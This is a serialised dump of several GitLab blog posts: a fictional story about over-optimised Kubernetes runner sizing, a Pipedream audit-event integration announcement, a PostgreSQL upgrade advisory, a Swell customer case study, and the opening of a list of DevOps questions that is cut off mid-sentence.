Devops","en-us/blog/how-to-leverage-modern-software-testing-skills-in-devops.yml","en-us/blog/how-to-leverage-modern-software-testing-skills-in-devops",{"_path":13525,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13526,"content":13531,"config":13537,"_id":13539,"_type":16,"title":13540,"_source":17,"_file":13541,"_stem":13542,"_extension":20},"/en-us/blog/a-story-of-runner-scaling",{"title":13527,"description":11764,"ogTitle":13527,"ogDescription":11764,"noIndex":6,"ogImage":13528,"ogUrl":13529,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13529,"schema":13530},"An SA story about hyperscaling GitLab Runner workloads using Kubernetes","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669897/Blog/Hero%20Images/kaleidico-26MJGnCM0Wc-unsplash.jpg","https://about.gitlab.com/blog/a-story-of-runner-scaling","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"An SA story about hyperscaling GitLab Runner workloads using Kubernetes\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darwin Sanoy\"},{\"@type\":\"Person\",\"name\":\"Brian Wald\"}],\n        \"datePublished\": \"2022-06-29\",\n      }",{"title":13527,"description":11764,"authors":13532,"heroImage":13528,"date":13534,"body":13535,"category":734,"tags":13536},[1244,13533],"Brian Wald","2022-06-29","\n\nThe following *fictional story*\u003Csup>1\u003C/sup> reflects a repeating pattern that Solutions Architects at GitLab encounter frequently. In the analysis of this story we intend to demonstrate three things: (a) Why one should be thoughtful in leveraging Kubernetes for scaling, (b) How unintended consequences of an approach to automation can create a net productivity loss for an organization (reversal of ROI) and (c) How solutions architecture perspectives can help find anti-patterns - retrospectively or when applied during a development process.\n\n### A DevOps transformation story snippet\n\nGild Investment Trust went through a DevOps transformational effort to build efficiency in their development process through automation with GitLab. Dakota, the application development director, knew that their current system handled about 80 pipelines with 600 total tasks and over 30,000 CI minutes so they knew that scaled CI was needed. Since development occurred primarily during European business hours, they were interested in reducing compute costs outside of peak work hours. Cloud compute was also a target due to acquring the pay per use model combined with elastic scaling.\n\nIngrid was the infrastructure engineer for developer productivity who was tasked with building out the shared GitLab Runner fleet to meet the needs of the development teams. At the beginning of the project she made a successful bid to leverage Kubernetes to scale CI and CD to take advantage of the elastic scaling and high availability all with the efficiency of containers. Ingrid had recently achieved the Certified Kubernetes Administrator (CKA) certification and she was eager to put her knowledge to practical use. She did some additional reading around applications running on Kubernetes and noted the strong emphasis on minimizing the resource profile of microservices to achieve efficiency in the form of compute density. She defined runner containers with 2GB of memory and 750millicores (about three quarters of a CPU) had good results from running some test CI pipelines. She also decided to leverage the Kubernetes Cluster Autoscaler which would use the overall cluster utilization and scheduling to automatically add and remove Kubernetes worker nodes for smooth elastic scaling in response to demand.\n\nAbout 3 months into the proof of concept implementation, Sasha, a developer team lead, noted that many of their new job types were failing with strange error messages. The same jobs ran fine on quickly provisioned GitLab shell runners. Since the primary difference between the environments was the liberal allocation of machine resources in a shell runner, Sasha reasoned that the failures were likely due to the constrained CPU and memory resources of the Kubernetes pods. \n\nTo test this hypothesis, Ingrid decided to add a new pod definition. She found it was difficult to discern which of the job types were failing due to CPU constraints, which ones due to memory constraints and which ones due to the combination of both. She knew it could be a lot of her time to discern the answer. She decided to simply define a pod that was more liberal on both CPU and memory and have it be selectable by runner tagging when more resources were needed for certain CI jobs. She created a GitLab Runner pod definition with 4GB of memory and 1750 millicores of CPU to cover the failing job types. Developers could then use these larger containers when the smaller ones failed by adding the ‘large-container’ tag to their GitLab job.\n\nSasha redid the CI testing and was delighted to find that the new resourcing made all the troubling jobs work fine. Sasha created a guide for developers to try to help discern when mysterious error messages and failed CI jobs were probably the fault of resourcing and then how to add a runner tag to the job to expand the resources.\n\nSome weeks later two of the key jobs that were fixed by the new container resourcing started intermittently failing on NPM package creation jobs for just 3 pipelines on 2 different teams. Of course Sasha tried to understand what the differences were and found that these particular pipelines were packaging notably large file sets because they were actually packaging testing data and the NPM format was a convenient way to provide testing data during automated QA testing.\n\nSasha brought this information to Ingrid and together they did testing to figure out that a 6GB container with 2500 millicores would be sufficient for creating an NPM package out of the current test dataset size. They also discussed whether the development team might want to use a dedicated test data management solution, but it turned out that the teams needs were very simple and that their familiarity with NPM packaging meant that bending NPM packaging to suit their purpose was actually more efficient than acquiring, deploying, learning and maintaining a special system for this purpose. So a new pod resourcing profile was defined and could be accessed with the runner tag ‘xlarge’.\n\nSasha updated the guide for finding the optimal container size through failure testing of CI jobs - but they were not happy with how large the document was getting and how imprecise the process was for determining when a CI job failure was, most likely due to container resource constraints. They were concerned that developers would not go through the process and instead simply pick the largest container resourcing profile in order to avoid the effort of optimizing and they shared this concern with Ingrid. In fact, Sasha noted, they were hard pressed themselves to follow their own guidelines and not to simply choose the largest container for all jobs themselves.\n\nThe potential for this cycle to repeat was halted several months later when Dakota, the app dev director, generated a report that showed a 2% increase in developer time spent optimizing CI jobs using failure testing for container size optimization. Dakota considered this work to be a net new increase because when the company was not using container-based CI, the developers did not have to manage this concern at all. Across 298 developers this amounted to around $840,000/yr dollars of total benefits per month\u003Csup>2\u003C/sup>. It was also thought to add about 2 hours (and growing) to developer onboarding training. It was noted that the report did not attempt to account for the opportunity cost tax - what would these people be doing to solve customer problems with that time? It also did not account for the \"critical moments tax\" (when complexity has an outsized frustration effect and business impact on high pressure, high risk situations).\n\n### Solution architecture retrospective: What went wrong?\n\nThis story reflects a classic antipattern we see at GitLab, not only with regard to Kubernetes runner optimization, but also across other areas, such as overly minimalized build containers and the potential for resultant pipeline complexity as was discussed in a previous blog called [When the pursuit of simplicity creates complexity in container-based CI pipelines](/blog/second-law-of-complexity-dynamics/). Frequently this result comes from inadvertent adherance to heuristics of a small part of the problem as though they were applicable to the entirety of the problem (a type of a logical “fallacy of composition”).\n\nThankfully the emergence of the anti-pattern follows a pattern itself :). Let’s apply a little retrospective solution architecture to the \"what happened\" in order to learn what might be done proactively next time to create better iterations on the next automation project.\n\nThere is a certain approach to landscaping shared greenspaces where, rather than shame people into compliance with signs about not cutting across the grass in key locations, the paths that humans naturally take are interpreted as the signal “there should be a path here.” Humans love beauty and detail in the environments they move through, but depending on the space, they can also value the efficiency of the shortest possible route slightly higher than aesthetics. A wise approach to landscaping holds these factors in a balance that reflects the efficiency versus aesthetic appeal balance of the space user. The space stays beautiful without any shaming required.\n\nIn our story Sasha and Ingrid had exactly this kind of cue where the developers were likely to walk across the grass. If that cue is taken to be a signal that reflects efficiency, we can quickly see what can be done to avoid the antipattern when it starts to occur.\n\nThe signal was the observation that developers might simply choose the largest container all the time to avoid the fussy process of optimizing the compute resources being consumed. Some would consider that laziness and not a good signal to heed. However, most human laziness is deeply rooted in efficiency trade-offs. The developers intuitively understand that their time fussing with failure testing to optimize job containers and their time diagnosing intermittent failures due to the varying content of those jobs, is not worth the amount of compute saved. That is especially true given the opportunity cost of not spending that time innovating the core software solution for the revenue generating application.\n\nIngrid and Sasha’s collaboration has initially missed the scaled human toil factor that was introduced to keep container resources at the minimum tolerable levels. They failed to factor in the escalating cost of scaled human toil to have a comprehensive efficiency measurement. They were following a microservices resourcing pattern which assumes the compute is purpose designed around minimal and well known workloads. When taken as a whole in a shared CI cluster, CI compute follows generalized compute patterns where the needs for CPU, Memory, Disk IO and Network IO can vary wildly from one moment to the next.\n\nIn the broadest analysis, the infrastructure team over indexed to the “team local” optimization of compute efficiency and unintentionally created a global de-optimization of scaled human toil for another team.\n\n## How can this antipattern be avoided?\n\nOne way to combat over indexing on a criteria is to have balancing objectives. This need is covered in \"Measure What Matters\" with the concept of counter balancing objectives. There are some counter balancing questions that can be asked of almost any automation effort. When solution architecture is functioning well these counter balancing questions are asked during the iterative process of building out a solution. Here are some applicable ones for this effort:\n\n**Approporiate Rules: Does the primary compute optimization heuristic match the characteristics of the actual compute workload being optimized?**\n\nThe main benefits of container compute for CI are dependency isolation, dependency encapsulation and a clean build environment for every job. None of these benefits has to do with the extreme resource optimizations available to engineer microservices architected applications. As a whole, CI compute reflects generalized compute, not the ultra-specialized compute of a 12 factor architected micro-service.\n\n**Appropriate granularity: Does optimization need to be applied at every level?**\n\nThe fact that the cluster itself has elastic scaling at the Kubernetes node level is a higher order optimization that will generate significant savings. Another possible optimization that would not require continuous fussing by developers is having a node group running on spot compute (as long as the spot compute runners self-identify their compute as spot so pipeline engineers can select appropriate jobs for spot). These optimizations can create huge savings, without creating scaled human toil.\n\n**People and processes counter check: Does the approach to optimization create scaled human toil by its intensity and/or frequency and/or lack of predictability for any people anywhere in the organization?**\n\nAutomation is all about moving human toil into the world of machines. While optimizing machine resources must always be a primary consideration, it is a lower priority objective than creating a net increase in human toil anywhere in your company. Machines can efficiently and elastically scale, while human workforces respond to scaling needs in months or even years.\n\n### Avoid scaled human toil\n\nNotice that neither the story, nor the qualifying questions, imply there is never a valid reason to have specialized runners that developers might need to select using tags. If a given attribute of runners could be selected once and with confidence then the antipattern would not be in play. One example would be selecting spot compute backed runners for workloads that can tolerate termination. It is the potential for repeated needed attention to calibrate container sizing - made worse by the possibility of intermittent failure based on job content - that pushes this specific scenario into the potential realm of “scaled human toil.” The ability to leverage elastic cluster autoscaling is also a huge help to managing compute resources more efficiently. \n\nIf the risk of scaled human toil could be removed then some of this approach may be able to be preserved. For example, having very large minimum pod resourcing and then a super-size for stuff that breaks the standard pod size just once. Caution is still warranted because it is still possible that developers have to fuss a lot to get a two pod approach working in practice.\n\n### Beware of scaled human toil of an individual\n\nOne thing the story did not highlight is that even if we were able to move all the fussing of such a design to the Infrastructure Engineer persona (perhaps by building an AI tuning mechanism that guesses at pod resourcing for a given job), the cumulative taxes on their role are frequently still not worth the expense. This is, in part, because they have a leveraged role - they help with all the automation of the scaled developer workforce and any time they spend on one activity can’t be spent on another. We humans are generally bad at accounting for opportunity costs - what else could that specific engineer be innovating on to make a stronger overall impact to the organization’s productivity or bottom line? Given the very tight IT labor market, a given function may not be able to add headcount, so opportunity costs take on an outsized importance.\n\n### Unlike people’s time, cloud compute does not carry opportunity cost\n\nA long time ago people had to schedule time on shared computing resources. If the time was used for low-value compute activities it could be taking away time from higher value activities. In this model compute time has an opportunity cost - the cost of what it could be using that time for if it wasn’t doing a lower value activity. Cloud compute has changed this because when compute is not being used, it is not being paid for. Additionally, elastic scaling eliminates the costs of over provisioning hardware and completely eliminates the administrative overhead of procuring capacity - if you need lots for a short period of time it is immediately available. In contrast, people time is not elastically scalable nor pay per use. This means that the opportunity cost question “What could this time be used for if it didn’t have to be spent on low value activities?” is still relevant for anything that creates activities for people.\n\n### The first corollary to the Second Law of Complexity Dynamics\n\nThe Second Law of Complexity Dynamics was introduced in an earlier blog. The essence is that complexity is never destroyed - it is only reformed - and primarily it is moved across a boundary line that dictates whether the management of the complexity is in our domain or externalized. For instance, if you write a function for md5 hashing in your code, you are managing the complexity of that code. If you install a dependency package that contains a premade md5 hash function that you simply use, then the complexity is externalized and managed for you by someone else.\n\nIn this story we are introducing the corollary to that “Law” that “**Exchanging Raw Machine Resources for Complexity Management is Generally a Reasonable Trade-off.**” In this case our scaled human toil is created due to the complexity of unending, daily management of optimizing compute efficiency. This does not mean that burning thousands of dollars of inefficient compute is OK because it saved someone 20 minutes of fussing. It is scoped in the following way:\n\n- scoped to “complexity management” (which is creating the “scaled human toil” in our story) - many minutes of toil that increases proportionally or compounds with more of the activity. \n- scoped to “raw machine resources” - meaning that there is not additional logistics nor human toil to gain the resources. In the cloud raw machine resources are generally available via configuration tweaks.\n- scoped to “generally reasonable” - this indicates a disposition of being very cautious about increasing human toil with an automatoin solution - but it still makes sense to use models or calculations to check if the rule actually holds in a given case.\n\nSo if we can externalize complexity management that is great (The Second Law of Complexity Dynamics). If we can trade complexity management for raw computing resource, that is likely still better than managing it ourselves (The First Corollary).\n\n### Iterating SA: Experimental improvements for your next project\n\nThis post contains specifics that can be used to avoid antipatterns in building out a Kubernetes cluster for GitLab CI. However, in the qualifying questions we’ve attempted to kick it up to one meta-level higher to help assess whether any automation effort may have an “overly local” optimization focus which can inadvertently create a net loss of efficiency across the more global “company context.” It is our opinion that automation efforts that create a net loss in human productivity should not be classified as automation at all. While it’s strong medicine to apply to one’s work, we feel that doing so causes appropriate innovation pressure to ensure that individual automation efforts truly deliver on their inherent promise of higher human productivity and efficiency. So simply ask “Does this way of solving a problem cause recurring work for anyone?”\n\n### DevOps transformation and solution architecture perspectives\n\nA technology architecture focus rightfully hones in on the technology choices for a solution build. However, if it is the only lens, it can result in scenarios like our story. Solutions architecture steps back to a broader perspective to sanity-check that solution iterations account for a more complete picture of both the positive and negative impacts across all three of people, processes and technology. As an organizational competency, DevOps emphasis solution architecture perspectives when it is defined as a collaborative and cultural approach to people, processes and technology.\n\nFootnotes:\n\n1. This fictional story was devised specifically for this article and does not knowingly reflect the details of any other published story or an actual situation. The names used in the story are from [GitLab’s list of personas](https://about.gitlab.com/handbook/product/personas/).\n2. Across a team of 300 full time developers. 9.6min/workday x 250 workdays / year = 2400mins / 8hrs/workday  = 5 workdays x $560 per day (140K Total Comp/250days) = $2800/dev/year x 300 developers = $840,000/yr\n\nCover image by [Kaleidico](https://unsplash.com/@kaleidico?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/)\n",[1384,1385,1268,2488],{"slug":13538,"featured":6,"template":678},"a-story-of-runner-scaling","content:en-us:blog:a-story-of-runner-scaling.yml","A Story Of Runner Scaling","en-us/blog/a-story-of-runner-scaling.yml","en-us/blog/a-story-of-runner-scaling",{"_path":13544,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13545,"content":13551,"config":13557,"_id":13559,"_type":16,"title":13560,"_source":17,"_file":13561,"_stem":13562,"_extension":20},"/en-us/blog/use-streaming-audit-events-to-connect-your-technology-stack-with-gitlab-and-pipedream",{"title":13546,"description":13547,"ogTitle":13546,"ogDescription":13547,"noIndex":6,"ogImage":13548,"ogUrl":13549,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13549,"schema":13550},"Streaming audit events: Connect GitLab to your tech stack","Automation lets your DevSecOps teams have logic in place for how to handle events as they come in.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667845/Blog/Hero%20Images/gl15.jpg","https://about.gitlab.com/blog/use-streaming-audit-events-to-connect-your-technology-stack-with-gitlab-and-pipedream","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Use Streaming Audit Events to connect your technology stack with GitLab and Pipedream\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sam Kerr\"}],\n        \"datePublished\": \"2022-06-27\",\n      }",{"title":13552,"description":13547,"authors":13553,"heroImage":13548,"date":13554,"body":13555,"category":674,"tags":13556},"Use Streaming Audit Events to connect your technology stack with GitLab and Pipedream",[7599],"2022-06-27","\n\nGitlab recently released [Streaming Audit Events](https://docs.gitlab.com/ee/administration/audit_event_streaming.html) to provide you real-time visibility into what happens inside your GitLab groups and projects. Whenever something happens, an event will be sent to the HTTPS destination of your choice. This is a great way to understand immediately when something has changed and if there is an action that needs to be taken.\n\nThese events are often used to drive automation to update GitLab in response to certain actions, such as creating a new issue to onboard a team member when an account is added to a group, or to restore the correct value of a [merge request approval setting](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/settings.html) if it is changed. We know that many users want to combine the streaming audit events with other data sets and tools they already work with. Taking automatic action in response to audit events happening can help ensure your GitLab groups and projects are always in the correct, compliant state.\n\n## Pipedream simplifies the streaming audit event process\n\nDriving automation off of these events or combining the events with other data sets means the destination which will receive the events needs to be running and have logic in place for how to handle the events as they come in. This normally would require setting up and maintaining a server with high availability to receive events as they happen, run any automation scripts, and then process the events if they needed to be sent to another tool or combined with another data set. This is tricky to do right and an extra step that takes time. \n\nEnter our partner, [Pipedream](https://pipedream.com/). \n\nPipedream lets you connect APIs, remarkably fast. This includes the new streaming audit events from GitLab. When you select the GitLab New Audit Events trigger in a Pipedream workflow, Pipedream will automatically register an HTTPS endpoint for audit events in your GitLab group:\n\n![Pipedream registration process](https://about.gitlab.com/images/blogimages/pipedreamscreenshot.png){: .shadow}\n\nFrom there, Pipedream allows you to transform the data, forward it to any other tools using Pipedream’s [prebuilt actions](https://pipedream.com/docs/workflows/steps/actions/), or write any custom automation [with code](https://pipedream.com/docs/code/) (i.e., Node.js, Python, Go, or Bash).\n\n## Getting started with Pipedream and GitLab\n\nThe video below shows an example of how to use GitLab streaming audit events and Pipedream together to automatically alert your security team if a sensitive project setting is changed. This is powerful because it ensures that your security teams can immediately take action when a change occurs and understand why it happened.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/ggzoUMEsjjU\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nThis is just one example of what you can do with Pipedream and GitLab together. Pipedream allows you to use any [GitLab API](https://docs.gitlab.com/ee/api/) in response to an audit event: You can change the setting to its original value, add comments to issues, kick off pipelines, and more. You can also trigger any action in any of the [700+ other apps](https://pipedream.com/apps) that it has built-in integrations with.\n\n## Open source integration means everyone can contribute\n\nPipedream and GitLab are both strong believers in open source. The integration is publicly available at the Pipedream [repository](https://github.com/PipedreamHQ/pipedream), and contributions are welcome! We are excited to see what sort of workflows you create with Pipedream and GitLab together.\n\n## Final thoughts\n\nIn this post, we talked about the power of GitLab’s [Streaming Audit Events](https://docs.gitlab.com/ee/administration/audit_event_streaming.html) to give you immediate visibility into your groups and projects and how Pipedream makes it easy to build and automate workflows based on those audit events. This was just a preview of what is possible though, as you can use the entire GitLab API within Pipedream in response to audit events or interact with other tools supported by Pipedream.\n\nWe are excited to see the workflows you build with GitLab and Pipedream together. We showed how you can create a GitLab issue to alert the security team when settings are changed, but the sky is the limit - you might also create issues when new user accounts are created to onboard new team members, automatically restore changed settings, or forward data to a security information and event management, a.k.a. SIEM, system. With Pipedream and Gitlab, you can automatically take the actions necessary when things change to ensure you remain secure and compliant.\n",[4103,232,674],{"slug":13558,"featured":6,"template":678},"use-streaming-audit-events-to-connect-your-technology-stack-with-gitlab-and-pipedream","content:en-us:blog:use-streaming-audit-events-to-connect-your-technology-stack-with-gitlab-and-pipedream.yml","Use Streaming Audit Events To Connect Your Technology Stack With Gitlab And Pipedream","en-us/blog/use-streaming-audit-events-to-connect-your-technology-stack-with-gitlab-and-pipedream.yml","en-us/blog/use-streaming-audit-events-to-connect-your-technology-stack-with-gitlab-and-pipedream",{"_path":13564,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13565,"content":13570,"config":13577,"_id":13579,"_type":16,"title":13580,"_source":17,"_file":13581,"_stem":13582,"_extension":20},"/en-us/blog/external-postgresql-servers-should-be-upgraded-to-latest-version",{"title":13566,"description":13567,"ogTitle":13566,"ogDescription":13567,"noIndex":6,"ogImage":9591,"ogUrl":13568,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13568,"schema":13569},"Upgrade your external PostgreSQL 12 & 13 servers now","External PostgreSQL 12.7- and 13.3- servers used with GitLab should be upgraded to the latest minor version.","https://about.gitlab.com/blog/external-postgresql-servers-should-be-upgraded-to-latest-version","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"External PostgreSQL 12 and 13 servers should be upgraded to the latest minor version\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Yannis Roussos\"}],\n        \"datePublished\": \"2022-06-23\",\n      }",{"title":13571,"description":13567,"authors":13572,"heroImage":9591,"date":13574,"body":13575,"category":299,"tags":13576},"External PostgreSQL 12 and 13 servers should be upgraded to the latest minor version",[13573],"Yannis Roussos","2022-06-23","\n\nA bug in certain versions of PostgreSQL, called the `use-after-free bug`, can cause segmentation faults. If you are affected, you should upgrade. The affected PostgreSQL versions are:\n\n- PostgreSQL 12 versions earlier than 12.7. The bug was patched in [PostgreSQL 12.7](https://www.postgresql.org/docs/release/12.7/).\n- PostgreSQL 13 versions earlier than 13.3. The bug was patched in [PostgreSQL 13.3](https://www.postgresql.org/docs/release/13.3/).\n\nWhich versions of GitLab could be affected?\n\n- GitLab EE versions 14.9 and later are affected, if your version of PostgreSQL is an affected version.\n- GitLab CE versions 15.1 and later are affected, if your version of PostgreSQL is an affected version.\n- Omnibus GitLab instances using a bundled PostgreSQL server are not affected as they ship with [patched versions of PostgreSQL](https://docs.gitlab.com/ee/administration/package_information/postgresql_versions.html), and no further action is needed.\n\nWe strongly recommend all instances using an affected PostgreSQL version to upgrade to the latest minor version for PostgreSQL version 12 or 13.\n\nFor more detailed information, review our [issue on this problem](https://gitlab.com/gitlab-org/gitlab/-/issues/364763).\n",[1899,2704],{"slug":13578,"featured":6,"template":678},"external-postgresql-servers-should-be-upgraded-to-latest-version","content:en-us:blog:external-postgresql-servers-should-be-upgraded-to-latest-version.yml","External Postgresql Servers Should Be Upgraded To Latest Version","en-us/blog/external-postgresql-servers-should-be-upgraded-to-latest-version.yml","en-us/blog/external-postgresql-servers-should-be-upgraded-to-latest-version",{"_path":13584,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13585,"content":13591,"config":13595,"_id":13597,"_type":16,"title":13598,"_source":17,"_file":13599,"_stem":13600,"_extension":20},"/en-us/blog/gitlab-is-the-single-source-of-truth-for-ecommerce-provider",{"title":13586,"description":13587,"ogTitle":13586,"ogDescription":13587,"noIndex":6,"ogImage":13588,"ogUrl":13589,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13589,"schema":13590},"GitLab is the single source of truth for eCommerce provider","Swell uses GitLab company-wide and says the biggest advantage so far is the review operations capability.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668755/Blog/Hero%20Images/swelllogo3.png","https://about.gitlab.com/blog/gitlab-is-the-single-source-of-truth-for-ecommerce-provider","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab is the single source of truth for eCommerce provider\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2022-06-23\",\n      }",{"title":13586,"description":13587,"authors":13592,"heroImage":13588,"date":13574,"body":13593,"category":962,"tags":13594},[711],"eCommerce platform provider [Swell](https://www.swell.is) was built to give entrepreneurs the opportunity to build the online business that they envision. A GitLab customer since 2021, GitLab has been adopted as Swell's one DevOps, project management, and support ticketing tool for the whole organization. It's the foundational platform that the business works on.\n\nSwell is using GitLab Premium in many different areas, including for product development and to build the platform infrastructure, says Nico Bistolfi, vice president of technology.\n\n\"GitLab is our source of truth for everything,\" Bistolfi says. Now, Swell is looking into expanding its usage of the platform to leverage features such as code quality, automation, and other types of dynamic application security and static application security.\n\n## GitLab for CI/CD\nSwell upgraded to the Premium version and the biggest advantage so far πpath-to-decomposing-gitlab-database-part2has been the review operations capability, Bistolfi says. The company has created environments for every merge request users make, and that replicates in production for testers to see what was changed, whether a fix was made, or how the new feature is working.\n\n\"We could not go to our software development lifecycle today without the review ops. That's something that is critical for us,\" Bistolfi says.\n\nGitLab is used for both continuous integration (CI) and continuous deployment (CD). While building the [CI/CD](/topics/ci-cd/) pipeline process is ongoing, Bistolfi says, “We are slowly changing it and relying more and more on GitLab” in areas, including application security.\n\nBefore moving to GitLab, Swell was using bare-metal servers. The company now uses GitLab’s container management solutions and all API updates are happening through the platform.\n\n## From inputting issues to resolution\nEveryone at Swell is using GitLab — not just developers — and for a variety of tasks. The company has created a way to process support tickets through the platform. Another use case is knowledge management.\n\n\"We find ourselves making some decisions from comments in GitLab,\" he says. The whole process from the time a ticket is created to being resolved is done within the platform.\n\nThe company culture is about full information transparency, Bistolfi says, particularly since Swell is fully remote and employees work from 11 different countries. So one goal is to maintain asynchronous communication.\n\nWhen an issue is created in the platform, a little bit of coding is required, but he said non-developer users have adapted well. The feedback so far has been that using GitLab has been frictionless.\n\n## Speed to delivery\nInitially, for some services, it took about 30 minutes to build and deploy an image. Now, the process has been decreased to between one and five minutes in most cases.\n\nSwell manually sets release dates for system improvements and, right now, there are about two a week. The company is working on automating the process for continuous delivery with the goal of soon having releases every couple of hours.\n\n## Team play\nSwell manages team backlogs, sprints, milestones, and future work using its own flavor of Kanban with what Bistolfi calls \"quick labels.\"\n\nEngineering teams are being scaled and, in addition to Kanban, some projects are done using Scrum. Changing their GitLab configuration has let teams measure velocity better.  \n\nA future goal is to gain visibility into team results, as well as use GitLab for project planning and management, he says.\n\n## GitLab as a product and company\nBistolfi is unequivocal in his enthusiasm for GitLab. \"We know that GitLab is there for us to continue growing,\" he says. \"We know we can rely on that. And something that I always tell a team when we are evaluating what we're going to do or how we're going to solve certain problems is that there are areas GitLab is just starting to innovate on or is just starting to launch new features.\"\n\nIf those areas are at 80% of what Swell needs, the company will continue to use GitLab. \"We need to have very, very strong reasons to look for another tool to integrate with GitLab.\" He added that \"we trust that GitLab is going in the right direction for us. In addition, we've gained efficiency in our ability to provide consistent test environments using Gitlab Review Apps to reduce regressions and improve new feature development.\"\n\nThe Swell team also likes that GitLab provides thorough and complete information in its handbook, which has been very beneficial in helping the company manage things internally. \"That has been inspiring for many of us on the executive team,\" he notes.\n\nFor example, during the pandemic, Bistolfi put together a document called \"The Ultimate Guide for Swell Engineers,\" which contains three pages of information about culture, what to expect from teammates, and how to communicate and prioritize tasks.\n\nA lot of guidance came from the GitLab handbook, he adds.\n\nMoving forward with GitLab, Bistolfi says: \"We are incorporating most of the Security and Compliance tools in order to keep track and audit for our compliance. We plan to expand the usage to other projects, but we are already using container and dependency scanning, SAST, secrets detection, and license scanning for some of our core and more sensitive services.\"\n\nWhat Swell likes most about GitLab is the thoroughness of the tool. \"From an engineering perspective, 10 years ago, you would never have imagined all the features and capabilities that GitLab offers being incorporated into one platform,\" Bistolfi says.",[4103,1384,1385,674,2705],{"slug":13596,"featured":6,"template":678},"gitlab-is-the-single-source-of-truth-for-ecommerce-provider","content:en-us:blog:gitlab-is-the-single-source-of-truth-for-ecommerce-provider.yml","Gitlab Is The Single Source Of Truth For Ecommerce Provider","en-us/blog/gitlab-is-the-single-source-of-truth-for-ecommerce-provider.yml","en-us/blog/gitlab-is-the-single-source-of-truth-for-ecommerce-provider",{"_path":13602,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":13603,"content":13608,"config":13613,"_id":13615,"_type":16,"title":13616,"_source":17,"_file":13617,"_stem":13618,"_extension":20},"/en-us/blog/how-to-ask-smarter-devops-questions",{"title":13604,"description":13605,"ogTitle":13604,"ogDescription":13605,"noIndex":6,"ogImage":13548,"ogUrl":13606,"ogSiteName":1180,"ogType":1181,"canonicalUrls":13606,"schema":13607},"How to ask smarter DevOps questions","Take your DevOps practice to the next level by asking 10 critical questions.","https://about.gitlab.com/blog/how-to-ask-smarter-devops-questions","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to ask smarter DevOps questions\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2022-06-22\",\n      }",{"title":13604,"description":13605,"authors":13609,"heroImage":13548,"date":13610,"body":13611,"category":962,"tags":13612},[11618],"2022-06-22","\n\nGitLab has [surveyed DevOps practitioners](/developer-survey/) for more than five years now. In that time, we have come to know what questions to ask to understand how well teams are doing with DevOps. In sharing these 10 questions, we aim to help you assess your own team’s capabilities and achieve smarter, faster DevOps.\n\n### How fast is your team releasing code today vs. one year ago?\n\nTracking release speed is like taking the temperature of your DevOps team. You’d like to think everything is going well, but you might be surprised. Occasionally DevOps teams report to us they are actually releasing code more slowly than in the past. \n\n### What stage(s) in the process are causing the most release delays?\n\nThis question will shine a spotlight on the areas in your DevOps practice that simply don’t work. Spoiler alert: The answer [will certainly be testing](/blog/the-software-testing-life-cycle-in-2021-a-more-upbeat-outlook/), though other things, from planning to code development and code review, might pop up, too.\n\n### How automated is your DevOps process?\n\nAsk this, but don’t just focus on testing, tempting as that might be. Also think about what else in the software development lifecycle would [benefit from automation](/blog/cd-automated-integrated/). Consider what getting that time back would afford you. Could you assign your developers and ops pros to other business-critical projects?\n\n### What’s been added to your DevOps tech stack over the last year?\n\nIt’s good to look back and take inventory of the technology you have in play. This is also data that can help inform what your next steps might be, such as adopting [GitOps](/topics/gitops/), [observability](/blog/observability-vs-monitoring-in-devops/), or [AI](https://www.youtube.com/watch?v=C08QVI99JLo).\n\n### How are your DevOps roles changing?\n\nIf your team is like others we’ve heard from, (big) changes are happening. Devs are picking up tasks that have traditionally been owned by ops, ops is becoming anything from a DevOps coach to a [platform engineer](/topics/devops/what-is-a-devops-platform-engineer/) or a cloud expert, and security is likely now embedded in development teams.\n\n### How does security integrate with DevOps in your organization?\n\nThe most successful DevOps teams have figured out how to [bridge the dev and sec divide](/blog/developer-security-divide/). Whether your team has a [security champion](/blog/why-security-champions/) or actually embeds sec pros on the dev team, this is a critical piece in the process to release safer software faster.\n\n### What advanced technologies are you using (or considering) in your DevOps practice?\n\n“Bots” can test code, [AI can review code](/blog/ai-in-software-development/), and a [low code/no code tool](/blog/low-code-no-code/) will make [citizen developers](https://www.gartner.com/en/information-technology/glossary/citizen-developer) out of anyone in the organization. Now is definitely the time to make sure your DevOps team is future-proofing the tech stack.\n\n### Do you have a plan for governance and compliance of your software supply chain?\n\nTo keep the [software supply chain secure](/blog/elite-team-strategies-to-secure-software-supply-chains/), DevOps teams need visibility into and control over the entire development lifecycle. Can you easily deal with audits or attestations of compliance? Mature governance and compliance processes are essential in all industries today, not just those that are highly regulated.\n\n### What advanced practices are you using (or considering) in your DevOps environment?\n\nWhether it’s [Infrastructure as Code (IaC)](/topics/gitops/infrastructure-as-code/), GitOps, or [MLOps](/blog/introducing-modelops-to-solve-data-science-challenges/), cutting-edge practices can jumpstart your 